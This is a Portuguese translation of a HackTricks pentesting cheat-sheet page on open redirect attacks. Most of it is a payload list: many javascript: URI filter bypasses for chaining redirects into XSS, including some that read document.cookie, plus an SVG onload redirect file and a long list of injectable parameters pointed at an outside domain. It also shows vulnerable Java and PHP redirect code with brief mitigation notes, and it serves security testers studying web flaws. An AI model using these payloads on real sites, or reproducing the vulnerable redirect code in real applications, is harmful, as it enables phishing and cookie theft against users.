9.2 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Redirecionamento aberto
Redirecionar para localhost ou domínios arbitrários
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Redirecionamento Aberto para XSS
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Redirecionamento Aberto ao carregar arquivos svg
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
Parâmetros de injeção comuns
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
Exemplos de código
.Net
response.redirect("~/mysafe-subdomain/login.aspx")
Java
Redirecionamento Aberto
O redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para uma URL fornecida como um parâmetro sem validação adequada. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
Exemplo
response.sendRedirect(request.getParameter("redirect_url"));
Neste exemplo, o aplicativo redireciona o usuário para a URL fornecida no parâmetro "redirect_url" sem verificar se a URL é confiável. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, como:
http://www.example.com/login?redirect_url=http://www.attacker.com
Para evitar o redirecionamento aberto, sempre valide e filtre as URLs de redirecionamento e evite redirecionar para URLs fornecidas pelos usuários.
response.redirect("http://mysafedomain.com");
PHP
Redirecionamento Aberto
Um redirecionamento aberto ocorre quando um aplicativo da web redireciona o usuário para um URL especificado na solicitação sem validar ou sanitizar adequadamente o URL fornecido. Isso pode ser explorado por um atacante para redirecionar a vítima para um site malicioso, phishing ou para enganar o usuário de alguma forma.
Exemplo
<?php
$redirect_url = $_GET['url'];
header('Location: ' . $redirect_url);
?>
Neste exemplo, o código PHP simplesmente redireciona o usuário para o URL fornecido no parâmetro url
da solicitação GET, sem qualquer validação. Isso pode ser explorado por um atacante da seguinte maneira:
http://example.com/open-redirect.php?url=http://malicious-site.com
Quando a vítima acessa o URL acima, ela será redirecionada para http://malicious-site.com
, que pode ser um site de phishing ou outro site malicioso.
Mitigação
Para mitigar o risco de redirecionamento aberto, é importante validar e sanitizar todos os URLs fornecidos pelos usuários antes de redirecioná-los. Isso pode ser feito verificando se o URL fornecido pertence ao domínio esperado ou usando uma lista branca de URLs permitidos. Além disso, é recomendável evitar redirecionamentos baseados em entradas não confiáveis do usuário.
<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>
Ferramentas
Recursos
- Em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect você pode encontrar listas de fuzzing.\
- https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html\
- https://github.com/cujanovic/Open-Redirect-Payloads
- https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.